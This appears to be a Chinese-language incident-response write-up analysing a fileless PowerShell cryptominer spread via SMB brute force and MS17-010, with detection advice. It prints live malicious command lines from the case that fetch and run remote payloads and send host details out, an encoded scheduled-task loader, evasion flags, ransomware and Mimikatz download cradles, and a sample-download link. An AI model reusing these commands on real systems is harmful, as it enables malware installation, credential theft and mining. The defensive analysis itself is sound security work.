應急響應系列之無文件攻擊分析
一、概述
1.1 概述
前段時間遇到一起案例,主要是通過powershell進行挖礦的,使用該技術來進行挖礦的案例非常之多,但是個人感覺還是可以總結與分析一波,可以對這種技術進行詳細分析以后討論一下如何進行有效的監測與防護。
1.2 個人思路
通過最近遇到的幾起應急事件,越來越感覺惡意樣本分析在應急響應的過程中會越來越重要,特別是惡意樣本的逆向分析,所以搞應急的兄弟們需要多注重樣本分析這塊。同時,樣本解密這一塊也需要做些了解,目前發現很多惡意樣本都會進行加密來躲避殺軟以及安全研究人員的分析。
另外,無文件攻擊會綜合使用系統的白名單功能,如powershell、PSExec,以及各種變形、加密、混淆、惡意文件放在遠程服務器上,通過下載到內存中執行等方式來執行,導致其在防護這塊還是存在很多技術難度。但是其在發生事件后的監測還是有很多方式的,如流量、日志、內存等方式來監測。通過無文件攻擊這一塊,本文會在事后監測這塊做一些分享。
二、 應急響應案例
2.1 分析結論
1、此次攻擊主要利用SMB匿名登錄以及口令爆破利用病毒投放;
2、目前只捕捉到基于TCP 445的病毒投放動作,但是分析其攻擊文件,里面還會有針對1433、3389以及65529的掃描行為,后續可能會利用相關端口進行橫向滲透以及病毒投放行為;
3、挖礦病毒通過powershell駐留在內存中,通過CPU進行挖礦,會導致CPU占用100%。同時挖礦病毒在本地無落地文件,因此需要dump內存才能分析相關行為;
4、同時還會利用定時任務定時下載惡意文件來進行攻擊行為;
5、內網大量機器開放445端口并且未打補丁,建議后期批量封堵445以及打補丁;
6、通過現有的日志,發現最早的攻擊時間為2019年9月10日23:48分。
2.2 過程分析
2.2.1 現象確認
某用戶,通過前線技術反饋可能存在powershell挖礦行為,通過前線技術兄弟協助,找到其中一臺存在異常的服務器(192.168.0.8)進行分析,發現其CPU利用率為100%。

對CPU利用率進行排名,發現占用CPU比較高的都為powershell。

2.2.2Powershell分析
分析powershell這一塊,可以使用processhacker、processmonitor、processexplorer、火絨劍等來分析,火絨劍界面相對友好,各種功能也很強大,缺點就是需要安裝,并且經常很卡,個人喜歡使用ProcessHacker這個功能。

利用ProcessHacker分析Powershell的命令參數,相關的參數如下:
"C:\Windows\system32\cmd.exe"/c powershell -nop -w hidden -ep bypass -c"$ifp=$env:tmp+'\if.bin';if(test-path$ifp){$con=[System.IO.File]::ReadAllBytes($ifp);[System.Security.Cryptography.MD5]::Create().ComputeHash($con)|foreach{$s+=$_.ToString('X2')};if($s-ne'abcc20b2de0b18c895b94d2c23c0bc63'){$con=''}}if(!$con){$con=(New-ObjectNet.WebClient).downloaddata('http://down.ackng.com/if.bin?ID=WIN-707K0JETN3J&GUID=4****544-0046-3710-8037-B7C04F344E32&MAC=D0:94:66:30:8B:7D&OS=6.3.9600&BIT=64位&USER=WIN-707K0JETN3J$&DOMAIN=WORKGROUP&D=&CD=MatroxG200eR (Renesas) WDDM1.2&P=1&FI=0&FM=1&IF=1&MF=1&HR=39.67,41.44,41.89&UP=405600.656&_T=1568219962.54539');[System.IO.File]::WriteAllBytes($ifp,$con)}IEX(-join[char[]]$con)"
對上面的powershell參數與命令進行分析,相關參數含義如下:
- -nop 不加載配置文件
- -w hidden 隱藏執行命令窗口
- -ep bypass 忽略執行策略文件
- -c powershell 命令
主要的功能如下:
1.校驗本地TMP目錄下是否存在if.bin的文件
2.并校驗其MD5是否為abcc20b2de0b18c895b94d2c23c0bc63
3.若if.bin這個文件不存在,則從http://down.ackng.com/if.bin下載相應的文件,同時上傳上傳本機的相關信息(GUID、MAC地址、操作系統位數、機器名、工作組等信息)
對if.bin進行分析,發現其是powershell木馬以及反彈后門。
2.2.3 If.bin樣本分析
前面分析,可以了解到powershell的主要目的是為了下載if.bin這個文件,所以我們對if.bin進行分析,直接下載下來,分析相關文件進行了加密。

分析做加密方式,主要是通過base64和DeflateStream兩種方式,需要對樣本進行解密,相關解密方式可使用CyberChef來進行解密,使用方法可參考:
https://www.freebuf.com/sectool/209290.html
對其進行解密還原,還原后的部分核心內容如下所示:
2.2.3.1 端口轉發
開放65529端口,并將其轉發到1.1.1.1的53端口,同時創建一個定時任務,每10分鐘運行一次(個人猜測這個功能是攻擊者從網上抄的,目前其實并未起到效果)。
2.2.3.2 定時任務
創建定時任務,每60分鐘運行一次,主要功能為通過http://t.zer2.com下載惡意文件,放到powershell中運行,同時還會上傳本機信息(MAC、GUID、user,domain等)。

2.2.3.3 SMB爆破


2.2.3.4 shellcode


2.2.3.5 MS17-010漏洞傳播

2.2.3.6 獲取系統信息
獲取用戶信息、DumpHash、獲取UserHashes、獲取啟動項目等。

2.2.3.7 端口掃描

可以看出,對惡意樣本的分析還需要對樣本進行代碼級別的分析,這樣可以還原樣本的所有功能,如果我們通過網絡流量、日志等其他方式來進行分析的話,一方面可能因為樣本的執行需要滿足一定條件才會觸發,另一方面樣本的功能我們通過日志和流量只能采集到部分功能。
2.2.4 內存分析
我們知道,powershell相關的行為都是駐留在內存中,在本地無落地文件,因此我們直接使用ProcessHacker來dump了Powershell的內存數據進行分析。

使用Notepad++打開內存數據,過濾其中內容,可以看到其正在執行上述powershell命令:

內存里主要從http://down.ackng.com/if.bin下載bin文件,相應的文件主要功能參考2.2.3的分析。
2.2.5 定時任務分析
一般情況下,powershell利用定時任務來進行傳播,因此對定時任務分析,對192.168.0.8的定時任務分析,其定時任務如下:

可以看到該定時任務開始時間為2019年9月10日20:35分,這個時間也就是挖礦病毒感染那段時間前后,同時該定時任務每1小時執行一次。

同時,定時任務主要是執行powershell,其執行的命令如下:
cmd /c "setA=power& call %A%shell -ep bypass -eJABMAGUAbQBvAG4AXwBEAHUAYwBrAD0AJwBEAFoAWABIAFEAegBxAGoAJwA7ACQAeQA9ACcAaAB0AHQAcAA6AC8ALwB0A**AegBlAHIAMgAuAGMAbwBtAC8AdgAuAGoAcwAnADsAJAB6AD0AJAB5ACsAJwBwACcAKwAnAD8AaQBwAGMAXwAyADAAMQA5ADAAOQAxADAAJwA7ACQAbQA9ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtA**ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApA**ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAHkAKQA7AFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AF0AOgA6AEMAcgBlAGEAdABlACgAKQAuAEMAbwBtAHAAdQB0AGUASABhAHMAaAAoACQAbQApAHwAZgBvAHIAZQBhAGMAaAB7ACQAcwArAD0AJABfA****ABvAFMAdAByAGkAbgBnACgAJwB4ADIAJwApAH0AOwBpAGYAKAAkAHMALQBlAHEAJwBkADgAMQAwADkAYwBlAGMAMABhADUAMQA3ADEAOQBiAGUANgBmADQAMQAxAGYANgA3AGIAMwBiADcAZQBjADEAJwApAHsASQBFAFgAKAAtAGoAbwBpAG4AWwBjAGgAYQByAFsAXQBdACQAbQApAH0A"
直接解密定時任務的內容,解密后為:
IEX(New-ObjectSystem.Net.WebClient).DownloadString(‘http://t.zer2.com/v.jsp?msolow‘)
2.2.6 網絡連接分析
發現對對內網445端口以及65529端口的掃描行為:


相關行為在if.bin文件中可以看到相關的代碼,不僅會掃描445,65529,還會掃描1433和3389,只是在192.168.0.8這臺機器上未捕捉到掃描3389和1433的行為。

2.2.7 日志分析
通過對日志分析,發現網絡中存在大量的基于SMB的爆破行為,相關日志如下:

通過目前現有的已經記錄的日志,最早可以追溯到2019年9月10日23:48:48就存在相應的SMB爆破行為,相關的攻擊IP為192.168.0.28。

爆破成功日志


2.2.8開放端口
內網大量機器開放TCP 445,導致該病毒可以快速傳播。

2.2.9補丁分析
由于該病毒會利用永恒之藍(MS17-010)進行傳播,分析192.168.0.8,發現其未打相關補丁。

三、攻擊方式
3.1 感染途徑
3.1.1 郵件
電子郵件是powershell 下載者最常見的傳播手段,垃圾郵件中經常在.zip包中,包含powershell 腳本文件,這些文件有以下擴展:
.lnk .wsf.hta .mhtml .html.doc .docm .xls
.xlsm .ppt.pptm .chm .vbs .js.bat .pif .pdf.jar
3.1.2 Office宏文檔
powershell.exe–nop –w hidden –c
“IEX((NEW-object net.webclient).downloadstring(‘http://192.168.0.42:80/a’))”
3.1.3 各種EXP
包括各種RCE、web漏洞、系統漏洞(MS17-010等),攻擊者比較喜歡的方式,特別是可以工具化、自動化利用的EXP。
3.2 免殺對抗
3.2.1 隱藏執行窗口
–WindowStyle hidden / -whidden:對用戶隱藏PowerShell程序窗口,以隱藏操作痕跡。
3.2.2 管道
最常見的bypass執行策略,通過管道方式將腳本內容插入到powershell.exe的標準輸入內,這種方法不會改變配置但要求寫入磁盤:
- `Typehelloword.ps1 |powershell.exe -NoP
> -noprofile,簡寫-NoP, 為不加載windowspoweshell配置文件
你也可以從網絡上下載腳本并執行,這樣就不會寫入磁盤和修改配置文件
- powershell -nop-c "iex(New-Object Net.WebClient).DowndloadString('url')"
> iex Invoke-Expression,允許用戶計算和運行動態生成的命令,輸出命令的執行結果
> (New-ObjectNet.WebClient).DownloadString,最為常見的遠程下載方法,Invoke-WebRequest,BitsTransfer,Net.Sockets.TCPClient都能執行類似的功能
3.2.3 Exec bypass
使用powershell策略中的bypass策略,這種方法不會改變配置或者要求寫入磁盤,并且不會有任何的警告或提示,如果你使用Unrestricted,在運行網上下載的未被簽名的腳本時會有警告
powershell.exe-ExecutionPolicy bypass -File helloworld.ps1
> -exec bypass 忽略執行策略文件
> -File 指定文件
3.2.4 編碼與加密
使用加密方式繞過,首先需要將命令stream加密,再base64加密即可,命令如下:

3.2.5 指定版本參數不記錄參數
指定版本參數,使得攻擊者可以降低powershell到一個舊版本,新版本如-version 2.0可以記錄操作
3.2.6 PSConsole
使用PSConsole指定powershell控制文件
3.2.7 樣本案例
Cmd /c powershell-w hidden -ep bypass -c while($True){try{IEX (New-ObjectNet.WebClient).downloadstring(‘http://t.zer2.com/ipc.jsp?l’)}catch{Sleep -m2500000}}
Cmd /c 使用cmd加載powershell
-nop 不加載配置文件
-w hidden 隱藏執行窗口
-c 執行命令
3.3 Powershell在攻擊活動中的應用
3.3.1 挖礦
powershell”if(!(string).contains(‘SCM EventFilter’))
{IEX(NewObjectNet.WebClient).DownloadString(‘http://XXXXXXXX:8000/info6.ps1’)}”
3.3.2 勒索
Powershell.exe–windowstyle hidden
(New-ObjectSystem.Net.WebClient.DownloadFile
(‘http://[REMOVED]’,’%Temp%\[RANDOM].exe’);Start-Process‘%Temp%\[RANDOM].exe’
3.3.3 橫向滲透
常用的橫向移動方法如下:
Invoke-Command
Enter-PSSession
WMI/wmic/Invoke-WMImethod
Profile injection
Task Sheduler
Common tools e.g. PsExec
Invoke-Command
Invoke-Shellcode,支持msf部分功能
腳本下載地址:
Invoke-PortScan,端口掃描
腳本下載:
https://github.com/samratashok/nishang/blob/master/Scan/Invoke-PortScan.ps1
Invoke-ReflectivePEInjection,開啟代理
腳本下載:
3.3.4 其他
如提取密碼,
IEX(New-ObjectNet.WebClient).DownloadString(‘http://192.168.1.108/Invoke-Mimikatz.ps1‘);
Invoke-Mimikatz
四、如何發現
由于無文件挖礦本身沒有文件落地,因此常規基于文件的殺軟很難有效進行查殺,目前比較主要的發現機制個人總結如下:
4.1 內存
由于無文件攻擊主要在內存中執行,因此可以通過分析內存的方法來分析相應的攻擊行為,這樣的話需要周期性的將內存dump出來,對于某個進程可以使用ProcessHacker來dump,對于整臺服務器的內存可以使用RamCapturer來dump內存,同時使用Volatility分析。Linux可以使用dump命令直接將內存導出:



4.2 日志
正常情況下powershell執行的命令通過系統層面的日志是無法直接記錄的,但是微軟的工具sysmon可以記錄到powershell的攻擊行為,關于sysmon的相關功能和使用大家可以網上找找,sysmon相關事件id的主要功能如下:
可以通過事件ID 1來分析相關的命令執行情況,id 1表示進程創建行為,各種進程創建、命令執行都會通過事件id來記錄,因此我們可以通過事件id 1來記錄相關的powershell命令執行的行為,然后通過Image過濾powershell.exe相關的操作行為,這樣的話可以記錄到powershell命令執行日志,然后對所有的powershell命令進行分析,正常情況下,很少遇到通過powershell進行運維或相關操作的情況,因此一旦有powershell的相關行為都可以進行分析;如果具體環境里有使用Powershell的情況,這個時候就需要對powershell的命令內容進行過濾與分析了,分析的重點在于相關的命令參數、url等。
下圖是使用cmd執行powershell命令,通過sysmon監控到相關的日志情況


4.3 流量
由于無文件在本地無落地文件,因此本地殺軟很難有效查殺,但是即使在內存里面執行,其都會產生相應的網絡流量,因此可以在流量層面彌補殺軟的不足,通過流量層面過濾相應的URL、IP、MD5等進行安全分析。這一塊在實際工作中有很多落地的場景,本塊就不細講。
4.4 Powershell命令參數
可以對powershell的命令進行監控來分析其是否為可疑,正常情況下,運行powershell一般不會加一些參數,攻擊者為了防止被發現,所以會加上相關的參數來對抗殺軟以及研究人員,相關可疑的命令參數如下所示:
- NoProfile –nop 不加載配置文件
- iex $env:randomname
- DownloadFile下載文件到本地
- Downloadstring 下載文件到內存
- -w hidden 隱藏執行命令窗口
- -ep bypass 忽略執行策略文件
- Unrestricted
4.5 進程調用
正常情況下是powershell的父進程是explorer

在實際的攻擊過程中經常發現其父進程為cmd.exe,其祖父進程為explorer.exe

同時,在某些場景下,管理人員也會使用cmd調用powershell,這個時候我們需要分析調用powershell的祖父進程,若其祖父進程為winword.exe、winword.exe或者wuapp.exe,這種情況表明,某個腳本啟動了cmd.exe,這個時候我們需要深入分析一些哪些具體哪個腳本或模板調用的cmd進程。
五、樣本下載
鏈接:https://pan.baidu.com/s/1Gfzuia4T0GcRFF_Pb4y7Tw
提取碼: hfmx
六、參考鏈接
https://www.freebuf.com/articles/system/129228.html
https://www.freebuf.com/sectool/209290.html
https://www.freebuf.com/column/200241.html
https://www.freebuf.com/column/203131.html
https://www.freebuf.com/sectool/136328.html